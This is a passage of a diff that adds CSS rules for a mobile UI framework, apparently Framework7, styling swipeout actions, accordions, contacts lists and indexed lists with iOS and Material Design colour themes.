+.swipeout-actions-right > button:after, +.swipeout-actions-left > span:after, +.swipeout-actions-right > span:after, +.swipeout-actions-left > div:after, +.swipeout-actions-right > div:after { + content: ''; + position: absolute; + top: 0; + width: 600%; + height: 100%; + background: inherit; + z-index: -1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.swipeout-actions-right { + right: 0%; + -webkit-transform: translateX(100%); + transform: translateX(100%); +} +.swipeout-actions-right > a:after, +.swipeout-actions-right > button:after, +.swipeout-actions-right > span:after, +.swipeout-actions-right > div:after { + left: 100%; + margin-left: -1px; +} +.swipeout-actions-left { + left: 0%; + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.swipeout-actions-left > a:after, +.swipeout-actions-left > button:after, +.swipeout-actions-left > span:after, +.swipeout-actions-left > div:after { + right: 100%; + margin-right: -1px; +} +.ios .swipeout-actions-left > a, +.ios .swipeout-actions-right > a, +.ios .swipeout-actions-left > button, +.ios .swipeout-actions-right > button, +.ios .swipeout-actions-left > span, +.ios .swipeout-actions-right > span, +.ios .swipeout-actions-left > div, +.ios .swipeout-actions-right > div { + padding: 0 30px; + color: #fff; +} +.ios .swipeout-actions-left .swipeout-delete, +.ios .swipeout-actions-right .swipeout-delete { + background: #ff3b30; +} +.ios .swipeout-actions-left > a.color-red, +.ios .swipeout-actions-right > a.color-red, +.ios .swipeout-actions-left > button.color-red, +.ios .swipeout-actions-right > button.color-red, +.ios .swipeout-actions-left > span.color-red, +.ios .swipeout-actions-right > span.color-red, +.ios .swipeout-actions-left > div.color-red, +.ios .swipeout-actions-right > div.color-red { + background-color: #ff3b30; +} +.ios .swipeout-actions-left > a.color-green, +.ios .swipeout-actions-right > a.color-green, +.ios .swipeout-actions-left > button.color-green, +.ios .swipeout-actions-right > button.color-green, +.ios .swipeout-actions-left > span.color-green, +.ios .swipeout-actions-right > span.color-green, +.ios .swipeout-actions-left > div.color-green, +.ios .swipeout-actions-right > div.color-green { + background-color: #4cd964; +} +.ios .swipeout-actions-left > a.color-blue, +.ios .swipeout-actions-right > a.color-blue, +.ios .swipeout-actions-left > button.color-blue, +.ios .swipeout-actions-right > button.color-blue, +.ios .swipeout-actions-left > span.color-blue, +.ios .swipeout-actions-right > span.color-blue, +.ios .swipeout-actions-left > div.color-blue, +.ios .swipeout-actions-right > div.color-blue { + background-color: #007aff; +} +.ios .swipeout-actions-left > a.color-pink, +.ios .swipeout-actions-right > a.color-pink, +.ios .swipeout-actions-left > button.color-pink, +.ios .swipeout-actions-right > button.color-pink, +.ios .swipeout-actions-left > span.color-pink, +.ios .swipeout-actions-right > span.color-pink, +.ios .swipeout-actions-left > div.color-pink, +.ios .swipeout-actions-right > div.color-pink { + background-color: #ff2d55; +} +.ios .swipeout-actions-left > a.color-yellow, +.ios .swipeout-actions-right > a.color-yellow, +.ios .swipeout-actions-left > button.color-yellow, +.ios .swipeout-actions-right > button.color-yellow, +.ios .swipeout-actions-left > span.color-yellow, +.ios .swipeout-actions-right > span.color-yellow, +.ios .swipeout-actions-left > div.color-yellow, +.ios .swipeout-actions-right > div.color-yellow { + background-color: #ffcc00; +} +.ios .swipeout-actions-left > a.color-orange, +.ios .swipeout-actions-right > a.color-orange, +.ios .swipeout-actions-left > button.color-orange, +.ios .swipeout-actions-right > button.color-orange, +.ios .swipeout-actions-left > span.color-orange, +.ios .swipeout-actions-right > span.color-orange, +.ios .swipeout-actions-left > div.color-orange, +.ios .swipeout-actions-right > div.color-orange { + background-color: #ff9500; +} +.ios .swipeout-actions-left > a.color-gray, +.ios .swipeout-actions-right > a.color-gray, +.ios .swipeout-actions-left > button.color-gray, +.ios .swipeout-actions-right > button.color-gray, +.ios .swipeout-actions-left > span.color-gray, +.ios .swipeout-actions-right > span.color-gray, +.ios .swipeout-actions-left > div.color-gray, +.ios .swipeout-actions-right > div.color-gray { + background-color: #8e8e93; +} +.ios .swipeout-actions-left > a.color-white, +.ios .swipeout-actions-right > a.color-white, +.ios .swipeout-actions-left > button.color-white, +.ios .swipeout-actions-right > button.color-white, +.ios .swipeout-actions-left > span.color-white, +.ios .swipeout-actions-right > span.color-white, +.ios .swipeout-actions-left > div.color-white, +.ios .swipeout-actions-right > div.color-white { + background-color: #ffffff; +} +.ios .swipeout-actions-left > a.color-black, +.ios .swipeout-actions-right > a.color-black, +.ios .swipeout-actions-left > button.color-black, +.ios .swipeout-actions-right > button.color-black, +.ios .swipeout-actions-left > span.color-black, +.ios .swipeout-actions-right > span.color-black, +.ios .swipeout-actions-left > div.color-black, +.ios .swipeout-actions-right > div.color-black { + background-color: #000000; +} +.md .swipeout-actions-left > a, +.md .swipeout-actions-right > a, +.md .swipeout-actions-left > button, +.md .swipeout-actions-right > button, +.md .swipeout-actions-left > span, +.md .swipeout-actions-right > span, +.md .swipeout-actions-left > div, +.md .swipeout-actions-right > div { + padding: 0 24px; + color: #fff; +} +.md .swipeout-actions-left .swipeout-delete, +.md .swipeout-actions-right .swipeout-delete { + background: #f44336; +} +.md .swipeout-actions-left > a.color-red, +.md .swipeout-actions-right > a.color-red, +.md .swipeout-actions-left > button.color-red, +.md .swipeout-actions-right > button.color-red, +.md .swipeout-actions-left > span.color-red, +.md .swipeout-actions-right > span.color-red, +.md .swipeout-actions-left > div.color-red, +.md .swipeout-actions-right > div.color-red { + background-color: #f44336; +} +.md .swipeout-actions-left > a.color-green, +.md .swipeout-actions-right > a.color-green, +.md .swipeout-actions-left > button.color-green, +.md .swipeout-actions-right > button.color-green, +.md .swipeout-actions-left > span.color-green, +.md .swipeout-actions-right > span.color-green, +.md .swipeout-actions-left > div.color-green, +.md .swipeout-actions-right > div.color-green { + background-color: #4caf50; +} +.md .swipeout-actions-left > a.color-blue, +.md .swipeout-actions-right > a.color-blue, +.md .swipeout-actions-left > button.color-blue, +.md .swipeout-actions-right > button.color-blue, +.md .swipeout-actions-left > span.color-blue, +.md .swipeout-actions-right > span.color-blue, +.md .swipeout-actions-left > div.color-blue, +.md .swipeout-actions-right > div.color-blue { + background-color: #2196f3; +} +.md .swipeout-actions-left > a.color-pink, +.md .swipeout-actions-right > a.color-pink, +.md .swipeout-actions-left > button.color-pink, +.md .swipeout-actions-right > button.color-pink, +.md .swipeout-actions-left > span.color-pink, +.md .swipeout-actions-right > span.color-pink, +.md .swipeout-actions-left > div.color-pink, +.md .swipeout-actions-right > div.color-pink { + background-color: #e91e63; +} +.md .swipeout-actions-left > a.color-yellow, +.md .swipeout-actions-right > a.color-yellow, +.md .swipeout-actions-left > button.color-yellow, +.md .swipeout-actions-right > button.color-yellow, +.md .swipeout-actions-left > span.color-yellow, +.md .swipeout-actions-right > span.color-yellow, +.md .swipeout-actions-left > div.color-yellow, +.md .swipeout-actions-right > div.color-yellow { + background-color: #ffeb3b; +} +.md .swipeout-actions-left > a.color-orange, +.md .swipeout-actions-right > a.color-orange, +.md .swipeout-actions-left > button.color-orange, +.md .swipeout-actions-right > button.color-orange, +.md .swipeout-actions-left > span.color-orange, +.md .swipeout-actions-right > span.color-orange, +.md .swipeout-actions-left > div.color-orange, +.md .swipeout-actions-right > div.color-orange { + background-color: #ff9800; +} +.md .swipeout-actions-left > a.color-gray, +.md .swipeout-actions-right > a.color-gray, +.md .swipeout-actions-left > button.color-gray, +.md .swipeout-actions-right > button.color-gray, +.md .swipeout-actions-left > span.color-gray, +.md .swipeout-actions-right > span.color-gray, +.md .swipeout-actions-left > div.color-gray, +.md .swipeout-actions-right > div.color-gray { + background-color: #9e9e9e; +} +.md .swipeout-actions-left > a.color-white, +.md .swipeout-actions-right > a.color-white, +.md .swipeout-actions-left > button.color-white, +.md .swipeout-actions-right > button.color-white, +.md .swipeout-actions-left > span.color-white, +.md .swipeout-actions-right > span.color-white, +.md .swipeout-actions-left > div.color-white, +.md .swipeout-actions-right > div.color-white { + background-color: #ffffff; +} +.md .swipeout-actions-left > a.color-black, +.md .swipeout-actions-right > a.color-black, +.md .swipeout-actions-left > button.color-black, +.md .swipeout-actions-right > button.color-black, +.md .swipeout-actions-left > span.color-black, +.md .swipeout-actions-right > span.color-black, +.md .swipeout-actions-left > div.color-black, +.md .swipeout-actions-right > div.color-black { + background-color: #000000; +} +/* === Accordion === */ +.accordion-item-toggle { + cursor: pointer; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-toggle.active-state { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-toggle.active-state > .item-inner:after { + background-color: transparent; +} +.accordion-item-toggle .item-inner { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; +} +.accordion-item-toggle .item-inner:after { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item .item-link .item-inner:after { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item .list, +.accordion-item .block { + margin-top: 0; + margin-bottom: 0; +} +.accordion-item .block > h1:first-child, +.accordion-item .block > h2:first-child, +.accordion-item .block > h3:first-child, +.accordion-item .block > h4:first-child, +.accordion-item .block > p:first-child { + margin-top: 10px; +} +.accordion-item .block > h1:last-child, +.accordion-item .block > h2:last-child, +.accordion-item .block > h3:last-child, +.accordion-item .block > h4:last-child, +.accordion-item .block > p:last-child { + margin-bottom: 10px; +} +.accordion-item-opened .accordion-item-toggle .item-inner:after, +.accordion-item-opened > .item-link .item-inner:after { + background-color: transparent; +} +.list li.accordion-item ul { + padding-right: 0; +} +.accordion-item-content { + position: relative; + overflow: hidden; + height: 0; + font-size: 14px; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-opened > .accordion-item-content { + height: auto; +} +html.device-android-4 .accordion-item-content { + -webkit-transform: none; + transform: none; +} +.ios .list .accordion-item-toggle .item-inner { + background-size: 8px 13px; + padding-left: 35px; + background-repeat: no-repeat; + background-position: 15px center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.ios .list .accordion-item-toggle.active-state { + background-color: #d9d9d9; +} +.ios .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.ios .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.ios .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.ios .media-list .accordion-item-opened > .item-link .item-title-row, +.ios .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.ios .accordion-item-opened.media-item > .item-link .item-title-row, +.ios .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; +} +.ios .theme-dark .list .accordion-item-toggle .item-inner { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.ios .theme-dark .list .accordion-item-toggle.active-state { + background-color: #363636; +} +.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.ios .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.ios .theme-dark .media-list .accordion-item-opened > .item-link .item-title-row, +.ios .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.ios .theme-dark .accordion-item-opened.media-item > .item-link .item-title-row, +.ios .theme-dark .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.md .list .accordion-item-toggle .item-inner { + padding-left: 42px; + background-repeat: no-repeat; + background-position: 16px center; +} +.md .list .accordion-item-toggle.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .list .accordion-item-toggle .item-inner, +.md .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner, +.md .list:not(.media-list) .accordion-item:not(.media-item) > .item-link .item-inner, +.md .media-list .accordion-item .accordion-item-toggle .item-title-row, +.md .media-list .accordion-item > .item-link .item-title-row, +.md .accordion-item.media-item .accordion-item-toggle .item-title-row, +.md .accordion-item.media-item > .item-link .item-title-row, +.md .links-list .accordion-item > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; +} +.md .list .accordion-item-toggle.accordion-item-opened .item-inner, +.md .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.md .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.md .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.md .media-list .accordion-item-opened > .item-link .item-title-row, +.md .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.md .accordion-item-opened.media-item > .item-link .item-title-row, +.md .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.md .theme-dark .list .accordion-item-toggle .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item) > .item-link .item-inner, +.md .theme-dark .media-list .accordion-item .accordion-item-toggle .item-title-row, +.md .theme-dark .media-list .accordion-item > .item-link .item-title-row, +.md .theme-dark .accordion-item.media-item .accordion-item-toggle .item-title-row, +.md .theme-dark .accordion-item.media-item > .item-link .item-title-row, +.md .theme-dark .links-list .accordion-item > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.md .theme-dark .list .accordion-item-toggle.accordion-item-opened .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.md .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.md .theme-dark .media-list .accordion-item-opened > .item-link .item-title-row, +.md .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.md .theme-dark .accordion-item-opened.media-item > .item-link .item-title-row, +.md .theme-dark .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +/* === Contacts === */ +.contacts-list .list-group:first-child ul:before { + display: none !important; +} +.contacts-list .list-group:last-child ul:after { + display: none !important; +} +.ios .contacts-list { + margin: 0; +} +.ios .contacts-list .list-group-title { + padding: 0 15px; + background: #f7f7f7; + color: #000; + font-weight: 600; + line-height: 22px; + height: 22px; +} +.ios .theme-dark .contacts-list .list-group-title, +.contacts-list.ios .theme-dark .list-group-title { + background-color: #111; + color: #fff; +} +.md .contacts-list { + margin: 0; +} +.md .contacts-list .list-group-title { + padding: 0 16px; + pointer-events: none; + background: none; + color: #2196f3; + font-weight: 500; + line-height: 48px; + height: 48px; + font-size: 20px; + overflow: visible; + width: 56px; +} +.md .contacts-list .list-group-title + li { + margin-top: -48px; +} +.md .contacts-list li:not(.list-group-title) { + padding-right: 56px; +} +.md .theme-dark .contacts-list .list-group-title { + color: #fff; +} +/* === Virtual List === */ +/* === Indexed List === */ +.list-index { + position: absolute; + top: 0; + bottom: 0; + right: 0; + text-align: center; + z-index: 10; + width: 16px; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.list-index:before { + content: ''; + position: absolute; + width: 20px; + top: 0; + right: 100%; + height: 100%; +} +.list-index ul { + font-size: 11px; + font-weight: 600; + list-style: none; + margin: 0; + padding: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + height: 100%; + width: 100%; + position: relative; +} +.list-index li { + margin: 0; + padding: 0; + list-style: none; + position: relative; + height: 14px; + line-height: 14px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: block; + width: 100%; +} +.list-index .list-index-skip-placeholder:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + border-radius: 50%; +} +.list-index .list-index-label { + position: absolute; + bottom: 0; + right: 100%; + text-align: center; + border-radius: 50%; + color: #fff; + font-weight: 500; +} +.ios .list-index ul { + color: #007aff; +} +.ios .list-index .list-index-skip-placeholder:after { + content: ''; + width: 6px; + height: 6px; + margin-left: -3px; + margin-top: -3px; + background: #007aff; +} +.ios .list-index .list-index-label { + margin-bottom: -22px; + margin-right: 15px; + width: 44px; + height: 44px; + line-height: 44px; + border-radius: 50%; + background: #007aff; + font-size: 17px; +} +.ios .list-index .list-index-label:before { + position: absolute; + width: 100%; + height: 100%; + border-radius: 50% 0% 50% 50%; + content: ''; + background-color: inherit; + left: 0; + top: 0; + -webkit-transform: rotate(45deg); + transform: rotate(45deg); + z-index: -1; +} +.ios .navbar ~ .page > .list-index, +.ios .navbar ~ .list-index { + top: 44px; +} +.ios .toolbar ~ .page > .list-index, +.ios .toolbar ~ * .page > .list-index, +.ios .toolbar ~ .list-index { + bottom: 44px; +} +.ios .tabbar-labels ~ .page > .list-index, +.ios .tabbar-labels ~ * .page > .list-index, +.ios .tabbar-labels ~ .list-index { + bottom: 50px; +} +@media (min-width: 768px) { + .ios .tabbar-labels ~ .page > .list-index, + .ios .tabbar-labels ~ * .page > .list-index, + .ios .tabbar-labels ~ .list-index { + bottom: 56px; + } +} +.ios.device-iphone-x .toolbar ~ .page > .list-index, +.ios.device-iphone-x .toolbar ~ * .page > .list-index, +.ios.device-iphone-x .toolbar ~ .list-index { + bottom: calc(44px + constant(safe-area-inset-bottom)); + bottom: calc(44px + env(safe-area-inset-bottom)); +} +.ios.device-iphone-x .tabbar-labels ~ .page > .list-index, +.ios.device-iphone-x .tabbar-labels ~ * .page > .list-index, +.ios.device-iphone-x .tabbar-labels ~ .list-index { + bottom: calc(50px + constant(safe-area-inset-bottom)); + bottom: calc(50px + env(safe-area-inset-bottom)); +} +@media (min-width: 768px) { + .ios.device-iphone-x .tabbar-labels ~ .page > .list-index, + .ios.device-iphone-x .tabbar-labels ~ * .page > .list-index, + .ios.device-iphone-x .tabbar-labels ~ .list-index { + bottom: calc(56px + constant(safe-area-inset-bottom)); + bottom: calc(56px + env(safe-area-inset-bottom)); + } +} +.ios .color-theme-red .list-index ul, +.ios .list-index.color-theme-red ul { + color: #ff3b30; +} +.ios .color-theme-red .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-red .list-index-skip-placeholder:after, +.ios .color-theme-red .list-index .list-index-label, +.ios .list-index.color-theme-red .list-index-label { + background-color: #ff3b30; +} +.ios .color-theme-green .list-index ul, +.ios .list-index.color-theme-green ul { + color: #4cd964; +} +.ios .color-theme-green .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-green .list-index-skip-placeholder:after, +.ios .color-theme-green .list-index .list-index-label, +.ios .list-index.color-theme-green .list-index-label { + background-color: #4cd964; +} +.ios .color-theme-blue .list-index ul, +.ios .list-index.color-theme-blue ul { + color: #007aff; +} +.ios .color-theme-blue .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-blue .list-index-skip-placeholder:after, +.ios .color-theme-blue .list-index .list-index-label, +.ios .list-index.color-theme-blue .list-index-label { + background-color: #007aff; +} +.ios .color-theme-pink .list-index ul, +.ios .list-index.color-theme-pink ul { + color: #ff2d55; +} +.ios .color-theme-pink .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-pink .list-index-skip-placeholder:after, +.ios .color-theme-pink .list-index .list-index-label, +.ios .list-index.color-theme-pink .list-index-label { + background-color: #ff2d55; +} +.ios .color-theme-yellow .list-index ul, +.ios .list-index.color-theme-yellow ul { + color: #ffcc00; +} +.ios .color-theme-yellow .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-yellow .list-index-skip-placeholder:after, +.ios .color-theme-yellow .list-index .list-index-label, +.ios .list-index.color-theme-yellow .list-index-label { + background-color: #ffcc00; +} +.ios .color-theme-orange .list-index ul, +.ios .list-index.color-theme-orange ul { + color: #ff9500; +} +.ios .color-theme-orange .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-orange .list-index-skip-placeholder:after, +.ios .color-theme-orange .list-index .list-index-label, +.ios .list-index.color-theme-orange .list-index-label { + background-color: #ff9500; +} +.ios .color-theme-gray .list-index ul, +.ios .list-index.color-theme-gray ul { + color: #8e8e93; +} +.ios .color-theme-gray .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-gray .list-index-skip-placeholder:after, +.ios .color-theme-gray .list-index .list-index-label, +.ios .list-index.color-theme-gray .list-index-label { + background-color: #8e8e93; +} +.ios .color-theme-white .list-index ul, +.ios .list-index.color-theme-white ul { + color: #ffffff; +} +.ios .color-theme-white .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-white .list-index-skip-placeholder:after, +.ios .color-theme-white .list-index .list-index-label, +.ios .list-index.color-theme-white .list-index-label { + background-color: #ffffff; +} +.ios .color-theme-black .list-index ul, +.ios .list-index.color-theme-black ul { + color: #000000; +} +.ios .color-theme-black .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-black .list-index-skip-placeholder:after, +.ios .color-theme-black .list-index .list-index-label, +.ios .list-index.color-theme-black .list-index-label { + background-color: #000000; +} +.ios .list-index.color-red ul { + color: #ff3b30; +} +.ios .list-index.color-red .list-index-skip-placeholder:after, +.ios .list-index.color-red .list-index-label { + background-color: #ff3b30; +} +.ios .list-index.color-green ul { + color: #4cd964; +} +.ios .list-index.color-green .list-index-skip-placeholder:after, +.ios .list-index.color-green .list-index-label { + background-color: #4cd964; +} +.ios .list-index.color-blue ul { + color: #007aff; +} +.ios .list-index.color-blue .list-index-skip-placeholder:after, +.ios .list-index.color-blue .list-index-label { + background-color: #007aff; +} +.ios .list-index.color-pink ul { + color: #ff2d55; +} +.ios .list-index.color-pink .list-index-skip-placeholder:after, +.ios .list-index.color-pink .list-index-label { + background-color: #ff2d55; +} +.ios .list-index.color-yellow ul { + color: #ffcc00; +} +.ios .list-index.color-yellow .list-index-skip-placeholder:after, +.ios .list-index.color-yellow .list-index-label { + background-color: #ffcc00; +} +.ios .list-index.color-orange ul { + color: #ff9500; +} +.ios .list-index.color-orange .list-index-skip-placeholder:after, +.ios .list-index.color-orange .list-index-label { + background-color: #ff9500; +} +.ios .list-index.color-gray ul { + color: #8e8e93; +} +.ios .list-index.color-gray .list-index-skip-placeholder:after, +.ios .list-index.color-gray .list-index-label { + background-color: #8e8e93; +} +.ios .list-index.color-white ul { + color: #ffffff; +} +.ios .list-index.color-white .list-index-skip-placeholder:after, +.ios .list-index.color-white .list-index-label { + background-color: #ffffff; +} +.ios .list-index.color-black ul { + color: #000000; +} +.ios .list-index.color-black .list-index-skip-placeholder:after, +.ios .list-index.color-black .list-index-label { + background-color: #000000; +} +.md .list-index ul { + color: #2196f3; +} +.md .list-index .list-index-skip-placeholder:after { + content: ''; + width: 4px; + height: 4px; + margin-left: -2px; + margin-top: -2px; + background: #2196f3; +} +.md .list-index .list-index-label { + width: 56px; + height: 56px; + line-height: 56px; + border-radius: 50% 50% 0 50%; + background: #2196f3; + font-size: 20px; +} +.md .navbar ~ .list-index { + top: 56px; +} +@media (min-width: 768px) { + .md .navbar ~ .list-index { + top: 64px; + } +} +.md .navbar ~ .toolbar:not(.toolbar-bottom-md) ~ .list-index, +.md .navbar ~ .subnavbar ~ .list-index, +.md .page-with-subnavbar .navbar ~ .list-index { + top: 104px; +} +.md .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .list-index { + top: 128px; +} +.md .toolbar-bottom-md ~ .page > .list-index, +.md .toolbar-bottom-md ~ * .page > .list-index, +.md .toolbar-bottom-md ~ * .page > .list-index { + bottom: 48px; +} +.md .tabbar-labels.toolbar-bottom-md ~ .page > .list-index, +.md .tabbar-labels.toolbar-bottom-md ~ * .page > .list-index, +.md .tabbar-labels.toolbar-bottom-md ~ .list-index { + bottom: 56px; +} +.md.device-iphone-x .toolbar-bottom-md ~ .page > .list-index, +.md.device-iphone-x .toolbar-bottom-md ~ * .page > .list-index, +.md.device-iphone-x .toolbar-bottom-md ~ * .page > .list-index { + bottom: calc(48px + constant(safe-area-inset-bottom)); + bottom: calc(48px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .tabbar-labels.toolbar-bottom-md ~ .page > .list-index, +.md.device-iphone-x .tabbar-labels.toolbar-bottom-md ~ * .page > .list-index, +.md.device-iphone-x .tabbar-labels.toolbar-bottom-md ~ .list-index { + bottom: calc(56px + constant(safe-area-inset-bottom)); + bottom: calc(56px + env(safe-area-inset-bottom)); +} +.md .color-theme-red .list-index ul, +.md .list-index.color-theme-red ul { + color: #f44336; +} +.md .color-theme-red .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-red .list-index-skip-placeholder:after, +.md .color-theme-red .list-index .list-index-label, +.md .list-index.color-theme-red .list-index-label { + background-color: #f44336; +} +.md .color-theme-green .list-index ul, +.md .list-index.color-theme-green ul { + color: #4caf50; +} +.md .color-theme-green .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-green .list-index-skip-placeholder:after, +.md .color-theme-green .list-index .list-index-label, +.md .list-index.color-theme-green .list-index-label { + background-color: #4caf50; +} +.md .color-theme-blue .list-index ul, +.md .list-index.color-theme-blue ul { + color: #2196f3; +} +.md .color-theme-blue .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-blue .list-index-skip-placeholder:after, +.md .color-theme-blue .list-index .list-index-label, +.md .list-index.color-theme-blue .list-index-label { + background-color: #2196f3; +} +.md .color-theme-pink .list-index ul, +.md .list-index.color-theme-pink ul { + color: #e91e63; +} +.md .color-theme-pink .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-pink .list-index-skip-placeholder:after, +.md .color-theme-pink .list-index .list-index-label, +.md .list-index.color-theme-pink .list-index-label { + background-color: #e91e63; +} +.md .color-theme-yellow .list-index ul, +.md .list-index.color-theme-yellow ul { + color: #ffeb3b; +} +.md .color-theme-yellow .list-index .list-index-skip-placeholder:after, 